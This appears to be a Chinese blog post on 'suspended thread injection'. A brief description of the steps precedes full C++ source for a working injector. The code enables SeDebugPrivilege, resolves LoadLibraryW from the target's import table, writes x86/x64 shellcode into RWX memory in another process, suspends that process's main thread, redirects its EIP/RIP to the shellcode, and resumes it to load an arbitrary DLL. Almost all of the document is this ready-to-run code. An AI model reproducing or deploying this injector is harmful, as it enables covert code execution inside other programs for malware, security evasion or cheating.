天天看点

挂起线程注入

     首先,通过获得目标进程Id,再根据与进程Id获得目标进程的主线程Id,将主线程Id挂起,获得该线程的背景上下文,将该线程的Eip改为自己的ShellCode,最后恢复线程。

重要的函数顺序为:

     OpenThread-->SuspendThread-->GetThreadContext-->获取EIP-->修改EIP-->SetThreadContext-->ResumeThread

#include <windows.h>
#include <iostream>
#include <Winternl.h>   
using namespace std;
//提权
typedef LONG KPRIORITY;

typedef struct _CLIENT_ID
{
	HANDLE UniqueProcess;
	HANDLE UniqueThread;
} CLIENT_ID, *PCLIENT_ID;


namespace  HOOK
{
	typedef struct _SYSTEM_THREAD_INFORMATION
	{
		LARGE_INTEGER KernelTime;
		LARGE_INTEGER UserTime;
		LARGE_INTEGER CreateTime;
		ULONG WaitTime;
		PVOID StartAddress;
		CLIENT_ID ClientId;
		KPRIORITY Priority;
		LONG BasePriority;
		ULONG ContextSwitches;
		ULONG ThreadState;
		ULONG WaitReason;
		ULONG PadPadAlignment;
	} SYSTEM_THREAD_INFORMATION, *PSYSTEM_THREAD_INFORMATION;

	typedef struct _SYSTEM_PROCESS_INFORMATION
	{
		ULONG NextEntryOffset;
		ULONG NumberOfThreads;
		LARGE_INTEGER WorkingSetPrivateSize;
		ULONG HardFaultCount;
		ULONG NumberOfThreadsHighWatermark;
		ULONGLONG CycleTime;
		LARGE_INTEGER CreateTime;
		LARGE_INTEGER UserTime;
		LARGE_INTEGER KernelTime;
		UNICODE_STRING ImageName;
		KPRIORITY BasePriority;
		HANDLE UniqueProcessId;
		HANDLE InheritedFromUniqueProcessId;
		ULONG HandleCount;
		ULONG SessionId;
		ULONG_PTR UniqueProcessKey;
		SIZE_T PeakVirtualSize;
		SIZE_T VirtualSize;
		ULONG PageFaultCount;
		SIZE_T PeakWorkingSetSize;
		SIZE_T WorkingSetSize;
		SIZE_T QuotaPeakPagedPoolUsage;
		SIZE_T QuotaPagedPoolUsage;
		SIZE_T QuotaPeakNonPagedPoolUsage;
		SIZE_T QuotaNonPagedPoolUsage;
		SIZE_T PagefileUsage;
		SIZE_T PeakPagefileUsage;
		SIZE_T PrivatePageCount;
		LARGE_INTEGER ReadOperationCount;
		LARGE_INTEGER WriteOperationCount;
		LARGE_INTEGER OtherOperationCount;
		LARGE_INTEGER ReadTransferCount;
		LARGE_INTEGER WriteTransferCount;
		LARGE_INTEGER OtherTransferCount;
		SYSTEM_THREAD_INFORMATION Threads[1];
	}SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
}



typedef decltype(&NtQueryInformationProcess) LPFN_NTQUERYINFORMATIONPROCESS;
typedef HMODULE (WINAPI *LPFN_LOADLIBRARYW) (LPCWSTR lpwLibFileName);
typedef
NTSTATUS(NTAPI *LPFN_NTQUERYSYSTEMINFORMATION)(
	IN SYSTEM_INFORMATION_CLASS  SystemInformationClass,
	OUT PVOID SystemInformation,
	IN ULONG   SystemInformationLength,
	OUT PULONG ReturnLength);
BOOL SeEnableSeDebugPrivilege(IN const WCHAR*  PriviledgeName, BOOL IsEnable);
BOOL SeGetPebByProcessID(IN UINT32 ProcessID, OUT PPEB Peb);
BOOL SeGetFunctionAddressInTargetProcessImportTableByFunctionName(IN UINT32 ProcessID,
	OUT PVOID* ImportFunctionAddress, IN char* ModuleName,
	IN char* FunctionName);
BOOL GetMainThreadIDByProcessID(IN UINT32 ProcessID, OUT PUINT32 MainThreadID);
BOOL SeHookIP(IN UINT32 ProcessID, IN UINT32 MainThreadID);


WCHAR __DllFullPath[MAX_PATH] = { 0 };

LPFN_NTQUERYINFORMATIONPROCESS        __NtQueryInformationProcess = NULL;
LPFN_LOADLIBRARYW                     __LoadLibraryW = NULL;
LPFN_NTQUERYSYSTEMINFORMATION         __NtQuerySystemInformation = NULL;





#ifdef _WIN64
UINT8	__ShellCode[0x100] = {
	0x48,0x83,0xEC,0x28,	// sub rsp ,28h

	0x48,0x8D,0x0d,			// [+4] lea rcx,
	0x00,0x00,0x00,0x00,	// [+7] DllFullPathOffset = [+43] - [+4] - 7
	// call 跳偏移,到地址,解*号
	0xff,0x15,				// [+11]
	0x00,0x00,0x00,0x00,	// [+13] LoadLibraryAddressOffset

	0x48,0x83,0xc4,0x28,	// [+17] add rsp,28h

	// jmp 跳偏移,到地址,解*号
	0xff,0x25,				// [+21]
	0x00,0x00,0x00,0x00,	// [+23] Jmp Rip

	// 存放原先的 rip
	0x00,0x00,0x00,0x00,	// [+27]
	0x00,0x00,0x00,0x00,	// [+31]

	// 跳板 loadlibrary地址
	0x00,0x00,0x00,0x00,	// [+35] 
	0x00,0x00,0x00,0x00,	// [+39]

	// 存放dll完整路径
	//	0x00,0x00,0x00,0x00,	// [+43]
	//	0x00,0x00,0x00,0x00		// [+47]
	//	......
};

#else
UINT8	__ShellCode[0x100] = {
	0x60,					// [+0] pusha   //其入栈顺序是:EAX,ECX,EDX,EBX,ESP,EBP,ESI,EDI
	0x9c,					// [+1] pushf
	0x68,					// [+2] push
	0x00,0x00,0x00,0x00,	// [+3] 存放DllFullPath的地址
	0xff,0x15,				// [+7] call	
	0x00,0x00,0x00,0x00,	// [+9] 存放LoadLibrary的地址
	0x9d,					// [+13] popf
	0x61,					// [+14] popa
	0xff,0x25,				// [+15] jmp
	0x00,0x00,0x00,0x00,	// [+17] 存放eip的地址

	
	//eip
	0x00,0x00,0x00,0x00,	// [+21]
	// LoadLibrary
	0x00,0x00,0x00,0x00,	// [+25] 
	// DllFullPath 
	0x00,0x00,0x00,0x00		// [+29] 


};

#endif







int main()
{

	if (SeEnableSeDebugPrivilege(L"SeDebugPrivilege", TRUE) == FALSE)
	{
		return 0;
	}
	GetCurrentDirectory(MAX_PATH, __DllFullPath);   
#ifdef _WIN64
	  wcscat(__DllFullPath, L"\\Dll.dll");
#else
	  wcscat(__DllFullPath, L"\\Dll.dll");
#endif
	  UINT32	ProcessID = 0;
	  printf("Input Target ProcessID\r\n");
	  scanf_s("%d", &ProcessID);   //scanf_s()


	  //ShellCode  -->目标进程  -->LoadLibrary
	  BOOL IsOk = FALSE;
	  IsOk = SeGetFunctionAddressInTargetProcessImportTableByFunctionName(ProcessID,
		  (PVOID*)&__LoadLibraryW, "Kernel32.dll", "LoadLibraryW");
	  if (IsOk == FALSE)
	  {
		  return 0;
	  }
	  //获得目标进程的主线程 EIP(RIP)
	  UINT32	MainThreadID = 0;
	  IsOk = GetMainThreadIDByProcessID(ProcessID, &MainThreadID);

	  SeHookIP(ProcessID, MainThreadID);

      return 0;
}

BOOL SeEnableSeDebugPrivilege(IN const WCHAR*  PriviledgeName, BOOL IsEnable)
{
	// 打开权限令牌

	HANDLE  ProcessHandle = GetCurrentProcess();
	HANDLE  TokenHandle = NULL;
	TOKEN_PRIVILEGES TokenPrivileges = { 0 };
	if (!OpenProcessToken(ProcessHandle, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &TokenHandle))
	{
		return FALSE;
	}
	LUID			 v1;
	if (!LookupPrivilegeValue(NULL, PriviledgeName, &v1))		// 通过权限名称查找uID
	{
		CloseHandle(TokenHandle);
		TokenHandle = NULL;
		return FALSE;
	}

	TokenPrivileges.PrivilegeCount = 1;		// 要提升的权限个数
	TokenPrivileges.Privileges[0].Attributes = IsEnable == TRUE ? SE_PRIVILEGE_ENABLED : 0;    // 动态数组,数组大小根据Count的数目
	TokenPrivileges.Privileges[0].Luid = v1;


	if (!AdjustTokenPrivileges(TokenHandle, FALSE, &TokenPrivileges,
		sizeof(TOKEN_PRIVILEGES), NULL, NULL))
	{
		printf("%d\r\n", GetLastError());
		CloseHandle(TokenHandle);
		TokenHandle = NULL;
		return FALSE;
	}
	CloseHandle(TokenHandle);
	TokenHandle = NULL;
	return TRUE;
}


//通过LoadLibraryW在目标进程导入表中获得函数地址
BOOL SeGetFunctionAddressInTargetProcessImportTableByFunctionName(IN UINT32 ProcessID,
	OUT PVOID* ImportFunctionAddress, IN char* ModuleName,
	IN char* FunctionName)
{
	//通过进程Id获得目标进程Peb
	PEB						Peb = { 0 };
	BOOL					IsOk = FALSE;
	HANDLE ProcessHandle = NULL;
	IsOk = SeGetPebByProcessID(ProcessID, &Peb);   //获得目标进程Peb
	if (IsOk == FALSE)
	{
		goto Exit;
	}
	//从模块基地址获得ImportTable
	PVOID ImageBaseAddress = 0;
	ImageBaseAddress = (PVOID)Peb.Reserved3[1];   

	ProcessHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, ProcessID);
	if (ProcessHandle == NULL)
	{
		IsOk = FALSE;
		goto Exit;
	}
	IMAGE_DOS_HEADER ImageDosHeader = { 0 };
	ReadProcessMemory(ProcessHandle, ImageBaseAddress, &ImageDosHeader, sizeof(IMAGE_DOS_HEADER), NULL);
	if (ImageDosHeader.e_magic != IMAGE_DOS_SIGNATURE)
	{
		IsOk = FALSE;
		goto Exit;
	}
	IMAGE_NT_HEADERS ImageNtHeaders = { 0 };
	ReadProcessMemory(ProcessHandle, (PVOID)((PUINT8)ImageBaseAddress + ImageDosHeader.e_lfanew),
		&ImageNtHeaders, sizeof(IMAGE_NT_HEADERS), NULL);
	if (ImageNtHeaders.Signature != IMAGE_NT_SIGNATURE)
	{
		IsOk = FALSE;
		goto Exit;
	}
	IMAGE_IMPORT_DESCRIPTOR	ImageImportDescriptor = { 0 };
	DWORD  v1 = 0;
	v1 = ImageNtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
	int i = 0;
	do
	{
		ReadProcessMemory(ProcessHandle, (PVOID)(((PIMAGE_IMPORT_DESCRIPTOR)((PUINT8)ImageBaseAddress + v1)) + i),
			&ImageImportDescriptor, sizeof(IMAGE_IMPORT_DESCRIPTOR), NULL);
		if (ImageImportDescriptor.FirstThunk == 0 && ImageImportDescriptor.OriginalFirstThunk == 0)
		{
			printf("没有匹配模块\r\n");
			IsOk = FALSE;
			goto Exit;
		}
		char v3[MAX_PATH] = { 0 };  //导入模块的名称
		SIZE_T ReturnLength = 0;
		ReadProcessMemory(ProcessHandle, (PVOID)((PUINT8)ImageBaseAddress + ImageImportDescriptor.Name),
			v3, MAX_PATH, &ReturnLength);
		if (stricmp(v3, ModuleName) == 0) //与传参值进行比较
		{
			int j = 0;
			do
			{
				IMAGE_THUNK_DATA  FirstThunkData = { 0 };
				IMAGE_THUNK_DATA  OrginalThunkData = { 0 };
				ReadProcessMemory(ProcessHandle,
					(PVOID)(((PIMAGE_THUNK_DATA)((PUINT8)ImageBaseAddress + ImageImportDescriptor.OriginalFirstThunk)) + j),
					&OrginalThunkData, sizeof(IMAGE_THUNK_DATA), NULL);
				if (IMAGE_SNAP_BY_ORDINAL(OrginalThunkData.u1.Ordinal))   //索引导入
				{
					j++;
					continue;
				}
				if (OrginalThunkData.u1.AddressOfData == NULL)
				{
					printf("没有匹配函数\r\n");
					IsOk = FALSE;		
					j++;
					continue;
					//goto Exit;
				}
				SIZE_T ReturnLength = 0;
				char v5[MAX_PATH];
				ReadProcessMemory(ProcessHandle, (PVOID)((PUINT8)ImageBaseAddress  + OrginalThunkData.u1.AddressOfData),
					&v5, MAX_PATH, &ReturnLength);
				printf("%s\r\n", ((PIMAGE_IMPORT_BY_NAME)v5)->Name);
				//与传参的函数名称进行比较 
				if (stricmp(((PIMAGE_IMPORT_BY_NAME)v5)->Name, FunctionName) == 0)
				{
					//获取函数地址
					ReadProcessMemory(ProcessHandle, (PVOID)(((PIMAGE_THUNK_DATA)((PUINT8)ImageBaseAddress  + ImageImportDescriptor.FirstThunk)) + j),
						&FirstThunkData, sizeof(IMAGE_THUNK_DATA), NULL);
					*ImportFunctionAddress = (PVOID)FirstThunkData.u1.Function;

					IsOk = TRUE;
					goto Exit;
				}

				j++;
			} while (TRUE);
		}
		i++;
	} while (TRUE);
Exit:
	if (ProcessHandle != NULL)
	{
		CloseHandle(ProcessHandle);
		ProcessHandle = NULL;
	}
	return IsOk;
}

BOOL SeGetPebByProcessID(IN UINT32 ProcessID, OUT PPEB Peb)
{
	//当前进程中获得__NtQueryInformationProcess
	HMODULE NtdllModuleBase = NULL;
	NtdllModuleBase = GetModuleHandle(L"Ntdll.dll");
	if (NtdllModuleBase == NULL)
	{
		return FALSE;
	}
	__NtQueryInformationProcess = (LPFN_NTQUERYINFORMATIONPROCESS)GetProcAddress(NtdllModuleBase,
		"NtQueryInformationProcess");
	if (__NtQueryInformationProcess==NULL)
	{
		return FALSE;
	}
	HANDLE						ProcessHandle = NULL;
	ProcessHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, ProcessID);
	if (ProcessHandle == NULL)
	{

		return FALSE;
	}
	NTSTATUS Status;
	PROCESS_BASIC_INFORMATION ProcessBasicInfo;
	SIZE_T ReturnLength = 0;
	Status = __NtQueryInformationProcess(ProcessHandle,
		ProcessBasicInformation, &ProcessBasicInfo, sizeof(PROCESS_BASIC_INFORMATION), (ULONG*)&ReturnLength);
	if (!NT_SUCCESS(Status))
	{

		CloseHandle(ProcessHandle);
		ProcessHandle = NULL;
		return FALSE;
	}


	//通过ReadProcessMemory 从进程里面 PebBaseAddress 内存数据读取出来
	BOOL IsOk = FALSE;
	IsOk = ReadProcessMemory(ProcessHandle, ProcessBasicInfo.PebBaseAddress,
		Peb, sizeof(PEB), &ReturnLength);
	if (IsOk == FALSE)
	{
		CloseHandle(ProcessHandle);
		ProcessHandle = NULL;
		return FALSE;
	}
	CloseHandle(ProcessHandle);
	return TRUE;


}

BOOL GetMainThreadIDByProcessID(IN UINT32 ProcessID, OUT PUINT32 MainThreadID)
{
	BOOL						IsOk = FALSE;
	NTSTATUS					Status = 0;
	HOOK::PSYSTEM_PROCESS_INFORMATION		SystemProcessInfo = NULL;
	HMODULE NtdllModuleBase = NULL;
	NtdllModuleBase = GetModuleHandle(L"Ntdll.dll");
	if (NtdllModuleBase == NULL)
	{
		return FALSE;
	}
	__NtQuerySystemInformation = (LPFN_NTQUERYSYSTEMINFORMATION)GetProcAddress(NtdllModuleBase,
		"NtQuerySystemInformation");
	if (__NtQuerySystemInformation == NULL)
	{
		return FALSE;
	}
	PVOID	BufferData = NULL;
	BufferData = malloc(1024 * 1024);
	if (!BufferData)
	{
		return FALSE;
	}
	// 在QuerySystemInformation系列函数中,查询SystemProcessInformation时,必须提前申请好内存,不能先查询得到长度再重新调用
	Status = __NtQuerySystemInformation(SystemProcessInformation, BufferData, 1024 * 1024, NULL);
	if (!NT_SUCCESS(Status))
	{
		free(BufferData);
		return FALSE;
	}
	SystemProcessInfo = (HOOK::PSYSTEM_PROCESS_INFORMATION)BufferData;
	// 遍历进程
	while (TRUE)
	{
		IsOk = FALSE;
		if (SystemProcessInfo->UniqueProcessId == (HANDLE)ProcessID)
		{
			IsOk = TRUE;
			break;
		}
		else if (SystemProcessInfo->NextEntryOffset)
		{
			SystemProcessInfo = (HOOK::PSYSTEM_PROCESS_INFORMATION)((PUINT8)SystemProcessInfo + SystemProcessInfo->NextEntryOffset);
		}
		else
		{
			break;
		}
	}
	if (IsOk)
	{
		//查询主线程
		for (INT i = 0; i < SystemProcessInfo->NumberOfThreads; i++)
		{
			// 执行的不能是当前线程
			*MainThreadID = (UINT32)SystemProcessInfo->Threads[i].ClientId.UniqueThread;  //主线程ID
			break;
		}
	}
	if (BufferData != NULL)
	{
		free(BufferData);
	}

	return IsOk;
}

BOOL SeHookIP(IN UINT32 ProcessID, IN UINT32 MainThreadID)
{

	//线程上下背景文(记录着各种寄存器的值)
	CONTEXT	ThreadContext = { 0 };

	HANDLE	ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessID);   //向目标进程内存空间写数据

	if (ProcessHandle == NULL)
	{
		return FALSE;
	}

	//目标进程空间申请内存
	PVOID RemoteBufferData = VirtualAllocEx(ProcessHandle, NULL, sizeof(__ShellCode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

	if (RemoteBufferData != NULL)
	{
		if (__LoadLibraryW != NULL)
		{
#ifdef _WIN64
			//构建动态库完整路径
			PUINT8	v1 = __ShellCode + 43;
			memcpy(v1, __DllFullPath, (wcslen(__DllFullPath) + 1) * sizeof(WCHAR));
			
			
			//lea rcx Offset
			UINT32 DllFullPathOffset = (UINT32)(((PUINT8)RemoteBufferData + 43) - ((PUINT8)RemoteBufferData + 4) - 7);
			*(PUINT32)(__ShellCode + 7) = DllFullPathOffset;

			// ShellCode + 35处 放置 LoadLibrary 函数地址
			*(PUINT64)(__ShellCode + 35) = (UINT64)__LoadLibraryW;   //当前模块导入表函数
			
			//ff15 Offset
			UINT32	LoadLibraryAddressOffset = (UINT32)(((PUINT8)RemoteBufferData + 35) - ((PUINT8)RemoteBufferData + 11) - 6);
			*(PUINT32)(__ShellCode + 13) = LoadLibraryAddressOffset;


			//通过主线程ID获得主线程句柄
			HANDLE	MainThreadHandle = OpenThread(THREAD_ALL_ACCESS, FALSE, MainThreadID);

			if (MainThreadHandle == NULL)
			{
				VirtualFreeEx(ProcessHandle, RemoteBufferData, sizeof(__ShellCode), MEM_RELEASE);
				CloseHandle(ProcessHandle);
				return FALSE;
			}
	
			//首先挂起线程获得该线程的RIP
			SuspendThread(MainThreadHandle);   //挂起


			ThreadContext.ContextFlags = CONTEXT_ALL;  //注意获得线程上下背景文时 
			if (GetThreadContext(MainThreadHandle, &ThreadContext) == FALSE)
			{
				VirtualFreeEx(ProcessHandle, RemoteBufferData, sizeof(__ShellCode), MEM_RELEASE);
				CloseHandle(MainThreadHandle);
				CloseHandle(ProcessHandle);
				return FALSE;
			}

			//保存原先RIP
			*(PUINT64)(__ShellCode + 27) = ThreadContext.Rip;


			//将Ok的ShellCode直接写入到目标进程空间中
			if (!WriteProcessMemory(ProcessHandle, RemoteBufferData, __ShellCode, sizeof(__ShellCode), NULL))
			{
				VirtualFreeEx(ProcessHandle, RemoteBufferData, sizeof(__ShellCode), MEM_RELEASE);
				CloseHandle(MainThreadHandle);
				CloseHandle(ProcessHandle);
				return FALSE;
			}

			//HookIP
			ThreadContext.Rip = (UINT64)RemoteBufferData;
#else
			PUINT8	v1 = __ShellCode + 29;
			memcpy(v1, __DllFullPath, (wcslen(__DllFullPath) + 1) * sizeof(WCHAR));  //将Dll完整路径存入目标进程空间中   
			//Push Address 
			*(PULONG)(__ShellCode + 3) = (ULONG)RemoteBufferData + 29;

			*(PULONG)(__ShellCode + 25) = (ULONG)__LoadLibraryW;   //当前exe模块中的导入函数

			*(PULONG_PTR)(__ShellCode + 9) = (ULONG_PTR)RemoteBufferData + 25;


			HANDLE	MainThreadHandle = OpenThread(THREAD_ALL_ACCESS, FALSE, MainThreadID);     //通过目标主线程ID获得主线程句柄

			if (MainThreadHandle == NULL)
			{
				VirtualFreeEx(ProcessHandle, RemoteBufferData, sizeof(__ShellCode), MEM_RELEASE);
				CloseHandle(ProcessHandle);
				return FALSE;
			}

			// 首先挂起线程
			SuspendThread(MainThreadHandle);   //目标进程中的主线程挂起   EIP


			ThreadContext.ContextFlags = CONTEXT_ALL;
			if (GetThreadContext(MainThreadHandle, &ThreadContext) == FALSE)
			{
				VirtualFreeEx(ProcessHandle, RemoteBufferData, sizeof(__ShellCode), MEM_RELEASE);
				CloseHandle(MainThreadHandle);
				CloseHandle(ProcessHandle);
				return FALSE;
			}


			*(PULONG_PTR)(__ShellCode + 21) = ThreadContext.Eip;
			*(PULONG_PTR)(__ShellCode + 17) = (ULONG_PTR)RemoteBufferData + 21;

			if (!WriteProcessMemory(ProcessHandle, RemoteBufferData, __ShellCode, sizeof(__ShellCode), NULL))
			{
				VirtualFreeEx(ProcessHandle, RemoteBufferData, sizeof(__ShellCode), MEM_RELEASE);
				CloseHandle(MainThreadHandle);
				CloseHandle(ProcessHandle);
				return FALSE;
			}

			ThreadContext.Eip = (ULONG_PTR)RemoteBufferData;
#endif

			//将线程上下背景文设置回线程中
			if (!SetThreadContext(MainThreadHandle, &ThreadContext))
			{
				VirtualFreeEx(ProcessHandle, RemoteBufferData, sizeof(__ShellCode), MEM_RELEASE);
				CloseHandle(MainThreadHandle);
				CloseHandle(ProcessHandle);
				return FALSE;
			}
			//恢复线程继续执行
			ResumeThread(MainThreadHandle);

			CloseHandle(MainThreadHandle);
			CloseHandle(ProcessHandle);
			return TRUE;

		}
		else
		{
			VirtualFreeEx(ProcessHandle, RemoteBufferData, sizeof(__ShellCode), MEM_RELEASE);
			CloseHandle(ProcessHandle);
			return FALSE;
		}
	}
	else
	{
		CloseHandle(ProcessHandle);
		return FALSE;
	}
}
           

继续阅读